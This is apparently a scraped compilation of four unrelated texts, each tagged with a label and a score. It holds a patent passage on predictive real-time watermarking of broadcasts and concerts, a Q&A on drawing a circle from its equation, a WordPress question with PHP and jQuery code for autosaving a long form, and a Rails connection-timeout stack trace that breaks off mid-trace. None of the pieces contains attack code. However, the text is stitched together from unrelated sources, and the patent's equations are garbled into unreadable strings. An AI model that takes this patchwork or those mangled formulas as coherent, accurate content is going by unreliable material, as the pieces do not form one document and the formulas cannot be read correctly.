The intensity-frequency prediction means 34 is configured by including, for example, a buffer memory, and performs prediction of intensity and frequency in the following frame (f+1) by use of a frame which is being processed at present. FIG. 4 shows relations among frames in the intensity-frequency prediction means 34. In FIG. 4, the axis of abscissa represents time, and the axis of ordinate represents sound pressure. FIG. 4 shows relations between each of frames to be processed and each of amplitudes of the respective real-time contents. A frame which is being processed at present is a fth frame, and a frame to be predicted is a (f+1)th frame. In the present invention, as shown in FIG. 4, time development of each frequency can be predicted by use of an exponential function, a linear function, a trigonometric function or the like, and thereby a weight can be calculated. In FIG. 4, a fitting curve which is obtained from energy of each frequency band, and which is calculated by an exponential function, is shown by reference symbol FC. Furthermore, in the present invention in particular, the prediction can be performed with a more precise time development taken into consideration by use of two consecutive frames to be processed, instead of being performed by use of a single frame to be processed.
When prediction is performed by use of an exponential function, a weighing factor is given by the below-mentioned expression (2). When prediction is performed by use of a linear function, a weighing factor is given by the below-mentioned expression (3).
[ Expression 2 ] E ^ f + 1 , b = E f , b 2 E f - 1 , b [ Expression 3 ] ( 2 ) E ^ f + 1 , b = 2 E f , b 2 - E f - 1 , b ( 3 )
In the aforementioned expression (3), when a predicted value is a negative, zero is used as the predicted value. In addition, prediction of a frequency component is given by the below-mentioned expression (4), or more simply by the below-mentioned expression (5), by use of the predicted value of energy which has been found.
[ Expression 4 ] x ^ + 1 , ω = x , ω E ^ f + 1 E [ Expression 5 ] ( 4 ) x ^ f + 1 , ω = E ^ f + 1 Band ( b ) ( 5 )
In the aforementioned expressions, ω represents a frequency component constituting a frequency band Band (b). In addition, |Band(b)| indicates a size of a set A.
Subsequently, the inaudible amount calculating means 36 calculates sizes ω of the respective wartermark signals which are inaudible to a human, for each frequency component by use of the predicted value of the frequency component which has been generated. In the present invention, since a psychoacoustic model is not the subject matter, a detailed description thereof will be omitted. However, for a method in which the psychoacoustic model is employed, for example, the prior art shown above can be referred to. In addition, in another mode of the present invention, not only the amplitude can be predicted, but also a phase can be predicted in the same manner.
(A-2) Prediction of Wartermark Signals Corresponding to Video Signals and Processing of the Same
Almost the same processing can be adapted for video signals. FIG. 5 shows a detailed configuration of the prediction means 16 for video signals in the present invention. A description will be given below of processing of generating wartermark signals corresponding to video signals on a basis of intensity prediction in the present invention. A video frame which has been inputted from the input buffer 14 is inputted, into tile dividing means 40, as three-dimensional data in which pixels are arranged in the vertical and horizontal directions, and in which luminance corresponds to each of the pixels. FIG. 6 is a diagram showing a mode of the tile division to be carried out in the present invention. As shown in FIG. 6, the tile dividing means 40 divides a video frames into tiles with a given size, selects a pixel included in the tile, and identifies axes of coordinates of, and luminance (x, y, c) of, the pixel.
After a pixel included in each tile is identified, the luminance analysis means 42 performs analysis of luminance distribution in the tile by calculating an average of luminances for each tile and by generating an average luminance Tav of each tile.
An average luminance Tavf in the same tile in a frame which has been processed is stored in luminance storage means 44. Change in an average luminance concerning a predetermined tile T in each frame is extrapolated by use of an appropriate function. Otherwise, a fitting is performed on change in an average luminance concerning a predetermined tile T in each frame by use of an appropriate function. Thereby, predicted is a weight to be assigned to an average luminance of real-time contents after a delayed time needed for embedding wartermark signals has been passed. FIG. 7 shows a mode to be carried out in a case where this processing is performed by use of linear prediction. As in a case of the audio signals, zero is used when a value smaller than zero is predicted.
In invisible amount calculating means 46, an invisible amount at is calculated by use of a weighted value which has been predicted, and the invisible amount at is outputted. In addition, luminance distributions of a frame f and the previous frames are analyzed, and thereby it can be determined whether an image is being zoomed, panned or still. For this purpose, a motion vector detection method can be used in the present invention. In this case, while an image is being zoomed, a modulation amount concerning a frame to be processed at this moment is also caused to increase or decrease in order to correspond to the zooming. In addition, while an image is being panned, a modulation amount is also panned. While an image is being still, a modulation amount is not changed. Moreover, in the present invention, if, instead of luminance of each tile, luminance of each pixel is used for the detection of the zooming and the panning, precision of each of these detections is improved. However, this also increases an amount of calculation. For this reason, with a delayed time due to embedding wartermark signals taken into consideration, luminance of each tile or luminance of each pixel is selected whenever deemed necessary depending on a system capability.
B. Detailed Configuration of Control Means and Processing by the Same
(B-1) Processing of Generating Wartermark Signals for Audio Signals
FIG. 8 is a detailed functional block diagram of the control means 20 adapted in the present invention. As shown in FIG. 8, the control means 20 for generating a value to be embedded by which wartermark signals are embedded in audio signals in the present invention is configured by including message storage means 50 for storing a message to be embedded, secret key storage means 52 and means 54 for generating a value to be embedded. A value S to be embedded is generated, for each bit on which embedding is performed, by use of these pieces of information and a pseudo-random number (+1, −1). A value S to be embedded which has been generated is transferred to wartermark signal generating means 22, and is used to generate wartermark signals to be outputted. Incidentally, in the present invention, with regard to a digital watermark, wartermark signals can be generated without using a secret key, when confidentiality is not so important. Even in this case, the below-mentioned procedure can be used in the same manner.
FIG. 9 is a flowchart showing processing of generating wartermark signals in the present invention. As shown in FIG. 9, the processing of generating wartermark signals reads out a sign (1 or 0) of a message to be embedded in each frequency band and pseudo-random number (−1 or 1) corresponding to this in step S30. In step 32, a values to be embedded which is different from one frequency band to another is generated by use of the below-mentioned expression and by use of a bit mb to be embedded and a pseudo-random number pr which have been read out.
[Expression 6]
s=(2mb−1)pr (6)
A value S to be embedded which is given by the aforementioned expression (6) is a value which takes on +1 or −1 .
Subsequently, in step S34, control of wartermark signals is performed by use of the value S to be embedded which has been generated. If it is judged in a determination of step 34 that the value S to be embedded is a positive (yes), wartermark signals with a random phase having intensity aω which have been predicted in step S36 are generated as shown by the below-mentioned expression (7). When the value S to be embedded is a negative (no), wartermark signals which take on zero are generated in step S38.
[ Expression 7 ] z ω = { a ω exp θ ω ( s > 0 ) 0 ( s 0 ) ( 7 )
In the aforementioned expression (7), θω is a random number in a range of 0 to 2π.
In the present invention, a rule for embedding in each frequency band, which is given as a value S to be embedded, is generated by use of a secret key, a bit of a message to be embedded as a digital watermark and a pseudo-random number. Furthermore, when the value S to be embedded which has been generated is a negative, a size of the wartermark signal is defined as zero (the wartermark signal is not embedded). Accordingly, even when a delayed time is caused between the wartermark signal and the real-time contents, the frequency component of the wartermark signal represented by zero can be used as a marker, thereby enabling the robustness to be improved.
Subsequently, the wartermark signal generating means 22 subjects to an inverse Fourier transform wartermark signals to be outputted which are constituted as a set of (aω exp θω, 0) which has been generated by the aforementioned expression (7). Then, the wartermark signals in the frequency domain are converted into wartermark signals in the time domain. Thereafter, in step S40, the generated wartermark signals to be outputted are transferred, for example, to the output buffer, and are embedded in contents being supplied in a real-time manner. The aforementioned method can adjust the quality in each frequency component. However, since the method needs the inverse Fourier transform, there may be a case that increases a delayed time. With this taken into consideration, in another mode of the present invention, a method which gets wartermark signals ready for a frequency domain in advance can be used as described below.
FIG. 10 is a flowchart showing an embedding method according to this mode of the present invention, which gets wartermark signals ready for the frequency domain in advance. As shown in FIG. 10, in step S50, wartermark signals in the frequency domain are generated in advance. The wartermark signals in which an invisible amount to be previously stored in an appropriate memory is stored can be given in the frequency domain by the below-mentioned expression (8).
[Expression 8]
n107 =A exp θω (8)
In the aforementioned expression, θω is a random number in a range of 0 to 2π. Subsequently, a value to be embedded is calculated in step S52. Sizes aω of wartermark signals which are being stored in an appropriate memory or the like are read out in step S54. wartermark signals in the frequency domain are generated by use of the below-mentioned expression (9) in step S56.
[ Expression 9 ] z ω = { a ω Λ n ω ( s > 0 ) 0 ( s 0 ) ( 9 )
Thereafter, the wartermark signals in the frequency domain are converted into wartermark signal in the time domain in step S58, and the wartermark signals are embedded in the real-time contents. In this mode of the present inventions, since the same n107 is used in every frame as shown by the aforementioned expression (9), rapidness can be realized. In addition, if use of the same nω generates a regular pattern in wartermark signals, it is likely that a problem with the quality will be caused. In such a case, it is made possible to get a plurality of different nωs ready and to accordingly use a different wartermark signal for each frame.
In yet another mode of the present invention, it is made possible to generate wartermark signals in the time domain in advance and to embed the wartermark signals in the time domain as wartermark signals without causing the inverse Fourier transform to be performed. FIG. 11 shows a flowchart of the present mode which has been described above concerning the present invention. As shown in FIG. 11, in step S60, the wartermark signals in the time domain are generated in advance by performing the inverse Fourier transform. Thereafter, in step S62, a value sb to be embedded is calculated by use of a secret key, a bit of a message and a pseudo-random number. Subsequently, in step S64, amplitudes aω of the wartermark signals are read out. In step S66, wartermark signals zt in the time domain to be outputted are generated, according to the below-mentioned expression (10), by use of the generated value sb to be embedded.
[ Expression 10 ] z t = b = 1 B ( s b + 1 2 E a , b E n , b n b , t ) ( 10 )
In the aforementioned expression, Ea,b represents inaudible energy in a frequency band b, and En,b represents inaudible energy in a prepared frequency band b. These are given respectively by the below-mentioned expressions (11) and (12).
[ Expression 11 ] E a , b = ω Band ( b ) a ω 2 [ Expression 12 ] ( 11 ) E n , b = t = 1 N n b , t 2 ( 12 )
According to the method shown in FIG. 11, the inverse Fourier transform from the frequency domain is not necessary, thereby enabling the rapidness to be achieved.
(B-2) Wartermark Signal Generation in Video Signals and Processing of the Same
When the present invention is adapted for video signals, processing of generating a wartermark signal which has the same function as the processing shown in FIG. 9 does can be used. In the present invention, MPEG-2 and video signals with an advanced format can be used as video signals. When the present invention is adapted for video signals, a sign and a pseudo-random number to be assigned to each tile are determined in advance, and a value S to be embedded is calculated for each tile by use of a secret key. Thereby, a digital watermark can be embedded by adding or subtracting an invisible amount. FIG. 12 shows a flowchart showing a case where the present invention is adapted for video signals.
Processing of adapting the present invention for video signals shown in FIG. 12 reads out a secret key and a bit of a message to be embedded in step S70. In step S72, a value S to be embedded is calculated by use of a pseudo-random number, the secret key, the bit of the message and a bit for each tile. In step 74, it is determined whether or not the value S to be embedded is larger than zero. In steps S76 and S78, wartermark signals including a signal represented by zero are generated in association with the value S to be embedded. In step 80, these signals are generated as wartermark signals to be outputted.
FIG. 13 is a diagram showing another mode of the wartermark signal generating apparatus 10 according to the present invention. The wartermark signal generating apparatus 10 shown in FIG. 13 is configured by including: input means 12 for dividing, and inputting, real-time contents; an input buffer 14 for processing the real-time contents which have been obtained by the input means 12 in an uninterrupted manner; prediction means 16 for predicting wartermark signals in a futuristic manner by use of data which have been accumulated in the input buffer 14; and an output buffer 18 for accumulating the generated wartermark signals before the generated wartermark signals are outputted. Control means 20 includes a secret key and a message. In the same manner as, has been described in FIG. 1, the control means 20 calculates a value S to be embedded, and transfers the value S to be embedded to wartermark signal generating means 22.
wartermark signals to be outputted which has been generated by the wartermark signal generating means 22 are once transferred to the output buffer 18, and are stored in the output buffer 18. In addition, the wartermark signal generating apparatus 10 shown in FIG. 13 is configured by including output controlling means 26. From a predicted value which is generated from time development of real-time contents and intensities of the real-time contents at a time the predicted value is generated, this output controlling means 26 generates a difference between the predicted value and the intensities of the real-time contents.
The difference which has been generated by the output controlling means 26 is compared with a threshold value which has been set in advance with an inaudible amount or an invisible amount taken into consideration, and the wartermark signals and the real-time contents at a time the difference is compared with the threshold value are inputted in the difference. It is determined whether or not the predicted value is appropriate as the inaudible amount or the invisible amount. When the predicted value is appropriate, the wartermark signals which have been stored in the output buffer 18 are caused to be outputted. Thereby, the wartermark signals are embedded as a digital watermark in the real-time contents. In addition, when the wartermark signals are too large, output of the wartermark signals to the embedding means 24 is halted, thereby causing the wartermark signals not to be embedded. Furthermore, in the present invention, the wartermark signal generating apparatus 10 can be configured so that an appropriate inaudible amount is defined by multiplying an appropriate attenuation factor, and thereafter is outputted.
FIG. 14 shows a flowchart of processing to be added to the processing according to this mode of the present invention shown in FIG. 13. As shown in FIG. 14, in step S90, real-time contents at a present time are acquired. In step S92, calculated is a difference between a predicted value and each of intensities of the real-time contents at the time. In step S94, it is determined whether or not the difference is within a tolerance. When the difference is within the tolerance (yes) the wartermark signals to be outputted are caused to be embedded in step S96. In addition, when the difference is not within the tolerance (no), the wartermark signals to be outputted are not embedded since the quality of the real-time contents is deteriorated if the wartermark signals are embedded.
If the mode of the present invention shown in FIGS. 13 and 14 is used, wartermark signals with inappropriate sizes are not embedded, thereby enabling quality of contents being supplied in a real-time manner to be improved further. In addition, the processing of determining whether or not a predicted value is appropriate, which is shown in FIG. 14, can be adapted for embedding wartermark signals in video signals.
Embodiments
Descriptions will be given below of a wartermark signal generating apparatus, a digital watermark embedding apparatus and a digital television apparatus according to the present invention with reference to concrete embodiments shown in the accompanying drawings.
Embodiment 1 Use in Broadcasting Facilities
FIG. 15 shows an embodiment of the digital watermark embedding apparatus used for showing copyrights of contents which are being broadcast live through radio and television. In the embodiment shown in FIG. 15, sounds of real-time contents are recorded by use of a microphone 70 in a studio or the like. Contents whose sounds have been recorded are divided into two halves by use of a mixer 72 to be used as dividing means. One half of the microphone output is inputted into a mixer 74. The other half of the microphone output is inputted into a wartermark signal generating apparatus 76 according to the present invention.
The wartermark signal generating apparatus 76 is caused to generate wartermark signals 78 to be outputted. Sizes of the wartermark signals to be outputted are checked by the output controlling means 26, and thereafter are inputted into the mixer 74. The inputted wartermark signals to be outputted are embedded in real-time contents at the time, and thereby the embedded contents 80 are generated. The embedded contents 80 which have been generated are supplied to users through an appropriate communication network. As the network according to the embodiment shown in FIG. 15, groundwave communication, satellite communication, cable network, the Internet or the like can be used.
In the embodiment shown in FIG. 15 of the present invention, in a case where the mixer 74 can adjust sizes of wartermark signals, the configuration for determining the sizes of the wartermark signals, which has been described in FIGS. 13 and 14, needs not to be adapted for the wartermark signal generating apparatus 76. However, in the embodiment shown in FIG. 15, too, the configuration shown in FIG. 13 can be adopted as the wartermark signal generating apparatus 76. According to the embodiment shown in FIG. 15, it is made possible to supply to users music played live and a live broadcast by adding a digital watermark thereto.
FIG. 16 is a diagram showing another embodiment with which a digital watermark generating apparatus according to the present invention is adapted in a concert hall. In the embodiment shown in FIG. 16, contents are supplied directly to users through no sound recording means such as a microphone in common with classical music to be played in a concert hall. For this reason, in the embodiment shown in FIG. 16, a digital watermark embedding apparatus 80 is configured by including: input means 14 such as a microphone; and audio signal generating apparatus 82 such as an amplifier and a speaker, thereby embedding a digital watermark in contents directly.
Furthermore, in a modification of this embodiment of the present invention, the audio signal generating apparatus 82 can be allocated to each player, instead of being allocated to a whole group of players. In the embodiment with which the plurality of audio signal generating apparatuses 82 are placed respectively near players, consistency between each of real-time contents and each of wartermark signals to be outputted can be guaranteed in an assured manner, thereby enabling further improvement in the quality to be achieved. In this case, if a plurality of wartermark signals to be outputted are mixed together with delay in time, the robustness is adversely affected. For this reason, it is preferable that the plurality of audio signal generation apparatuses 82 be synchronized in terms of timing.
FIG. 17 is a diagram showing yet another embodiment of the present invention which enables unauthorized sound recording to be identified. In the embodiment shown in FIG. 17, it is supposed that classical music is being supplied as real-time contents. Here, it is supposed that a listener sitting in a seat S0 is recording sounds in an unauthorized manner. It is supposed that an identification number specific to the concert hall is assigned to each of seats S0 to S3. It is supposed that, for example, outputted wartermark signals corresponding to an identification number are configured to be supplied as audio signals from near each of the listeners through a small microphone. In the embodiment, shown in FIG. 17, the wartermark signals to be outputted are generated by a digital watermark embedding apparatus 84 which is allocated near each of the listeners.
However, in a modification of the embodiment shown in FIG. 17, it is made possible to provide a digital watermark generating server 86 separately, and to cause the digital watermark generating server 86 to generate wartermark signals to be outputted corresponding to an identification numbers by use of a secret key or a message which has been assigned to each seat. The wartermark signals to be outputted which have been generated for each seat are transferred to a small microphone which has been allocated to the seat or the like. Thereby, the wartermark signals to be outputted, which are different from one listener to another, can be supplied.
In the embodiment shown in FIG. 17, a digital watermark, which is different from one seat to another, is embedded. Accordingly, an effect can be obtained that, when a person who has recorded sounds in an unauthorized manner records the sounds in CDs or DVDs and sells them illegally, too, it is easy to trace the person who has recorded the sounds in an authorized manner.
The digital watermark embedding apparatus according to the present invention can be also used to embed a digital watermark for the purpose of claiming copyrights for real-time contents such as videos being projected in a movie theater. In the below-mentioned embodiments, descriptions will be given of cases where a digital watermark is embedded in image contents being supplied in a real-time manner. As a message to be embedded, the followings can be used as in the case of audio signals; a theater which runs a movie, a sponsor and a co-sponsor, information concerning the movie, a date and time when the movie is run, terms and conditions for copying the movie, and the like.
FIG. 18 shows still another embodiment of the present invention to be carried out in a case where a digital watermark is embedded in videos. In the specific embodiment of the present invention shown in FIG. 18, original image contents are reproduced by a projector 88. Simultaneously, video output from the projector 88 is inputted into a wartermark signal generating apparatus 90, and thereby wartermark signals to be outputted are generated. The generated wartermark signals to be outputted are outputted into the projector 88. An image in which the wartermark signals are embedded is projected from the projector 88 to a screen 92. In this manner, wartermark signals to be outputted can be embedded in image contents in a real-time manner.
FIG. 19, shows-further another embodiment to be carried out in a case where video output of original image contents can be fetched, and where a mixer can not be used. In the embodiment shown in FIG. 19, original image contents are projected from a projector 94 to the screen 92. Thereby, contents are supplied to users. The video output is inputted into the wartermark signal generating apparatus 90 according to the present invention. Thereby, wartermark signals to be outputted are generated. The generated wartermark signals to be outputted are transferred to a projector 100, and are projected onto the screen 92 from the projector 100. Thereby, embedding of a digital watermark can be performed on the screen 92.
In addition, FIG. 20 shows yet further another embodiment to be carried out in a case where video output of original image contents can not be fetched, and where a mixer can not be used. In the embodiment shown in FIG. 20, original image contents are projected onto the screen 92 from the projector 94. Thereby, contents are supplied to users. Contents which have been projected onto the screen 92 are acquired, for example, by a video camera 102, and are inputted into the wartermark signal generating apparatus 90 according to the present invention. Thereafter, wartermark signals to be outputted which have been delayed by the method according to the present invention are generated. The outputted wartermark signals are projected from the projector 100 onto the screen 92. Thereby, embedding of a digital watermark can be performed on the screen. As described above, in the embodiments of the present invention shown in FIGS. 18 to 20, a digital watermark can be embedded in a video image which is being recorded by a video camera which has been brought in to a viewer's seat in an unauthorized manner.
FIG. 21 shows an embodiment to be carried out to deal with a case where contents which have been supplied to a user by a digital television apparatus are recorded by the user for an illicit purpose. In the embodiment shown in FIG. 21, a digital watermark generating apparatus according to the present invention is an external device 104 to be arranged adjacent to the digital television apparatus. Data which have been received by an antenna through a digital communication network are tuned and decoded in a tuner-decoder 106, and are converted into contents 108 to be outputted to a television monitor through an error corrector and a demultiplexer. The contents 108 are divided into two halves in a mixer 110, and are inputted into a wartermark signal generating apparatus 112 according to the present invention. The wartermark signal generating apparatus 112 according to the present invention, which is shown in FIG. 18, generates wartermark signals 114 to be outputted for audio signals and image signals by use of the methods which have been described above. Thereafter, the generated wartermark signals 114 to be outputted are transferred to a mixer 116. Thereby, a digital watermark can be embedded in the contents 108. In the embodiment shown in FIG. 21, a digital watermark is configured to be embedded in contents which have been transmitted through a digital television broadcast, thereby enabling the recording of videos and sounds by a user in an unauthorized manner to be identified.
Furthermore, yet another embodiment of the present invention is not limited to being used for real-time contents whose change with time is particularly large. The embodiment can be also used to prevent an unauthorized acquisition of a video image of a work of art exhibited in an art museum by projecting a digital watermark onto the work of art by use of a projector. In addition, the present invention can be adapted for embedding a digital watermark in streaming in distribution through the Internet in-a real-time manner.
Each means which has been described in the present invention can be configured of software modules to be configured in a software manner in a computer or an information processing apparatus which includes a memory such as a central processing unit (CPU), a RAM and a ROM as well as a storage medium such as a hard disc. Furthermore, as long as the aforementioned software module has the functions which have been described in the present invention, the software module can be configured as a different function block configuration instead of being included as a configuration corresponding to the function block shown in the figures. Moreover, the program which causes the digital watermark generating method of the present invention to be performed can be described by use of various programming languages such as an assembler language, a C language, a C++ language, a Java (a registered trademark). A code in which a program of the present invention is described can be included as a firmware in a RAM, a ROM and a flash memory. Otherwise, the code can be stored in a computer-readable storage medium such as a magnetic tape, a flexible disc, a hard disc, a compact disc, a photo-magnetic disc, a digital versatile disc (DVD).
The present invention has been explained citing the concrete modes described in the accompanying drawings. However, the present invention is not limited to a specific one of the aforementioned modes. Various modifications and other modes can be used within a scope in which effects of the present invention can be achieved. Any constituent component which has been known until now can be used within a scope in which effects of the present invention can be achieved.
Patent Citations
Cited PatentFiling datePublication dateApplicantTitle
US6205249 *Apr 2, 1998Mar 20, 2001Scott A. MoskowitzMultiple transform utilization and applications for secure digital watermarking
US6901514 *Jun 1, 2000May 31, 2005Digital Video Express, L.P.Secure oblivious watermarking using key-dependent mapping functions
WO2002023905A1Sep 11, 2001Mar 21, 2002Digimarc CorporationTime and object based masking for video watermarking
Classifications
U.S. Classification713/176, 380/210
International ClassificationH04N7/167, H04N19/70, G10L25/51, H04N19/00, G10L19/018, H04N19/467, H04L9/00, H04N1/32, G06T1/00
Cooperative ClassificationG06T2201/0202, G06T1/0028, H04N1/32144, H04N1/32229, G06T2201/0052, G06T1/0085
European ClassificationH04N1/32C19B3E, H04N1/32C19, G06T1/00W2, G06T1/00W8
Legal Events
DateCodeEventDescription
Sep 19, 2005ASAssignment
Owner name: INTERNATIONAL BUSINESS MACHINES CORPORATION, NEW Y
Free format text: ASSIGNMENT OF ASSIGNORS INTEREST;ASSIGNORS:TACHIBANA, RYUKI;SUGIHARA, RYO;REEL/FRAME:016815/0153;SIGNING DATES FROM 20050307 TO 20050328
Jul 16, 2012REMIMaintenance fee reminder mailed
Oct 4, 2012FPAYFee payment
Year of fee payment: 4
Oct 4, 2012SULPSurcharge for late payment
Feb 5, 2016ASAssignment
Owner name: MIDWAY TECHNOLOGY COMPANY LLC, MICHIGAN
Free format text: ASSIGNMENT OF ASSIGNORS INTEREST;ASSIGNOR:INTERNATIONAL BUSINESS MACHINES CORPORATION;REEL/FRAME:037704/0257
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|
__label__pos
| 0.91298 |
2
$\begingroup$
How to draw a circle using circle equation $x^2+y^2=r^2$?
If I merely have an area of some sort, where I want to draw the circle, say $200 \times 200$, then can I merely loop through this like
for ( i,j in 200 x 200):
j=sqrt(r^2-i^2)
or so.
$\endgroup$
2
• $\begingroup$ Your pseudocode has a variable $j$ in the for loop and a variable $j$ being assigned to? Also taking the square root will give you the positive square root only so either you need to consider also collecting the negative root, or use a different approach such as through trig functions $\endgroup$
– Nadiels
Mar 17, 2017 at 18:35
• 1
$\begingroup$ That’s a very simple and straightforward approach, but is inefficient and, if what you’re doing is using the computed coordinates to turn pixels on, produces undesirable artifacts. The circle can end up with gaps in some places and blobs of pixels in others. You’ll get much better results with something like Bresenham’s algorithm. $\endgroup$
– amd
Mar 18, 2017 at 0:50
3 Answers 3
2
$\begingroup$
So you are on the right track! Try something like the following:
for (x in [0,200]):
posY = round(sqrt(radius^2 - x^2))
negY = round(-sqrt(radius^2 - x^2))
fillPixel([x,posY], color)
fillPixel([x,negY], color)
Obviously this is pseudocode, but hopefully it's enough to give you the idea. If you need any other help just comment! :)
N.B: I'm assuming that the circle does actually fit into a 200x200 grid of pixels. You should probably check this before entering the loop!
$\endgroup$
1
• $\begingroup$ What if the thing inside sqrt() becomes negative? When radius < x^2. $\endgroup$
– mavavilj
Mar 18, 2017 at 7:12
1
$\begingroup$
This and some others are answered in e.g.:
CS G140 Graduate Computer Graphics Prof. Harriet Fell Spring 2009 Lecture 4 – January 28, 2009 https://www.ccs.neu.edu/home/fell/CSG140/Lectures/CSG140SP2009-4.pdf
$\endgroup$
0
$\begingroup$
Credit to Thomas Russel.
Here's a variation on Thomas Russell's answer that avoids taking the square root of a negative number. By limiting the range of x-values you also limit the y-values to the bounds of the circle as defined by the radius, $x^2+y^2=radius^2$:
for x in [-radius, radius]:
y = sqrt(radius^2 - x^2)
fillPixel([x, y], color)
fillPixel([x, -y], color)
$\endgroup$
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|
__label__pos
| 0.739912 |
1
I'm working on a project in WordPress that involves creating long, multi-page forms with conditional logic. One of the challenges I'm facing is that these forms can take a while to complete (and I have very non-savvy users that are prone to misnavigation), so I'm trying to implement an autosave feature that would save the user's progress as they go along.
I'd like to figure out a way to store form submissions in a database as the user progresses through the form, so that if they need to leave the page or their session times out, their answers won't be lost. Ideally, I would like the user to be able to come back to the form at a later time and pick up where they left off.
The particular form in question is a post-user-registration form that is filled out as part of the "fulfillment" process, so it would be associated with their user account.
I understand that handling this on the server-side might involve using AJAX to send the form data to the server at regular intervals, but I'm not sure how to go about implementing this in WordPress or what potential issues I might run into.
Any guidance on how to implement this feature in a way that is efficient and appropriate to WordPress would be really appreciated!
4
• you'll need a way to identify the user, are your users logged in? Or are these anonymous? This has major consequences for your task. Note though that you need to be able to mark an answer as the factually correct answer, not just guidance
– Tom J Nowell
Commented May 16, 2023 at 16:27
• I'm sorry thought I made it clear - yes, this form in particular is post-registration. They have to engage/pay for a service first (using Forminator Pro for purchases for that phase, but Forminator doesn't support autosaving so it's a dud for this long form situation unless I somehow figure out a way to modify it, lol). This really is "just" a survey that facilitates service for them, but is essential for the process.
– ylluminate
Commented May 16, 2023 at 16:36
• and you're happy to build it without a plugin? 3rd party plugins are offtopic so you can't ask how to do it with Forminator, but the question is still on topic
– Tom J Nowell
Commented May 16, 2023 at 16:38
• I believe I have to build it without a plugin. I don't see any other option at this point since this is somewhat custom and the autosave functionality is essential. Furthermore it is integral to the process and so I want to be sure this is streamlined into the system as closely as possible without something blowing up during a plugin or WP update...
– ylluminate
Commented May 16, 2023 at 16:41
2 Answers 2
1
If you can stash the fields one at a time, I'd do something like this:
In functions.php or somewhere:
add_action ( 'wp_ajax_save_long_form_field', 'my_save_long_form_field', 10, 0 );
function my_save_long_form_field () {
$user_id = get_current_user_id();
$name = sanitize_text_field( filter_input( INPUT_POST, 'name' ) );
$value = sanitize_text_field( filter_input( INPUT_POST, 'value' ) );
// do something with the name value pair, like:
// update_user_meta( $user_id, $name, $value
// but with better validation.
echo "Received: $name = $value";// remove once you have it working
wp_die ();
}
and then some javascript (this is if you are going to write it directly into the html output stream with php - you'd want to use localize_script to get the admin-ajax url in there if it's a .js file you're loading):
jQuery("form :input").on('change',(function() {
var data = {
action : 'save_long_form_field',
value : jQuery(this).val(),
name : jQuery(this).attr('name'),
}
// var form_id = $(this).closest('form').attr('id') );// in case you need to find the form, this is how.
jQuery.post(
'<?php echo admin_url( 'admin-ajax.php' )?>',
data,
function( response ) { // Again, you don't need this for your use case, but this is where you'd change the page html, if you wanted to for any reason
console.log( 'Safe!' + response );
}
);
}));
0
You can use JS localStorage to store the data (as JSON for example) and then dynamically pull this data from localStorage and pass everything to the proper fields. In this case, you won't need to make any AJAX requests and use your database memory. The only caveat is that your users won't be able to use this data if they use another device or browser.
Alternatively, you can still use your MySQL database to store the data as JSON or serialize it and pull it when a user returns to the form.
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|
__label__pos
| 0.906038 |
ActiveRecord::ConnectionTimeoutError on GET /favicon.ico
Hey,
recently I started getting ConnectionTimeoutError on initial /favicon.ico request during my development. If I read the stacktrace correctly, it looks like that some middleware is trying to do DB request while serving a static file. This smells, because it is likely doing database access on each request.
app|I Started GET "/" for 127.0.0.1 at 2018-05-04 11:31:35 +0200
app|F
app|F ActiveRecord::ConnectionTimeoutError (could not obtain a connection from the pool within 5.000 seconds (waited 5.000 seconds); all pooled connections were in use):
app|F
app|F activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:202:in `block in wait_poll'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:193:in `loop'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:193:in `wait_poll'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:154:in `internal_poll'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:278:in `internal_poll'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:148:in `block in poll'
| /home/lzap/.rbenv/versions/2.5.1/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:158:in `synchronize'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:148:in `poll'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:747:in `acquire_connection'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:500:in `checkout'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:374:in `connection'
| activerecord (5.1.4) lib/active_record/connection_adapters/abstract/connection_pool.rb:931:in `retrieve_connection'
| activerecord (5.1.4) lib/active_record/connection_handling.rb:116:in `retrieve_connection'
| activerecord (5.1.4) lib/active_record/connection_handling.rb:88:in `connection'
| activerecord (5.1.4) lib/active_record/migration.rb:562:in `connection'
| activerecord (5.1.4) lib/active_record/migration.rb:553:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/callbacks.rb:26:in `block in call'
| activesupport (5.1.4) lib/active_support/callbacks.rb:97:in `run_callbacks'
| actionpack (5.1.4) lib/action_dispatch/middleware/callbacks.rb:24:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/executor.rb:12:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/debug_exceptions.rb:59:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/show_exceptions.rb:31:in `call'
| railties (5.1.4) lib/rails/rack/logger.rb:36:in `call_app'
| railties (5.1.4) lib/rails/rack/logger.rb:26:in `call'
| sprockets-rails (3.2.1) lib/sprockets/rails/quiet_assets.rb:13:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/remote_ip.rb:79:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/request_id.rb:25:in `call'
| rack (2.0.5) lib/rack/method_override.rb:22:in `call'
| rack (2.0.5) lib/rack/runtime.rb:22:in `call'
| activesupport (5.1.4) lib/active_support/cache/strategy/local_cache_middleware.rb:27:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/executor.rb:12:in `call'
| actionpack (5.1.4) lib/action_dispatch/middleware/static.rb:125:in `call'
| rack (2.0.5) lib/rack/sendfile.rb:111:in `call'
| secure_headers (5.0.5) lib/secure_headers/middleware.rb:13:in `call'
| railties (5.1.4) lib/rails/engine.rb:522:in `call'
| railties (5.1.4) lib/rails/railtie.rb:185:in `public_send'
| railties (5.1.4) lib/rails/railtie.rb:185:in `method_missing'
| rack (2.0.5) lib/rack/urlmap.rb:68:in `block in call'
| rack (2.0.5) lib/rack/urlmap.rb:53:in `each'
| rack (2.0.5) lib/rack/urlmap.rb:53:in `call'
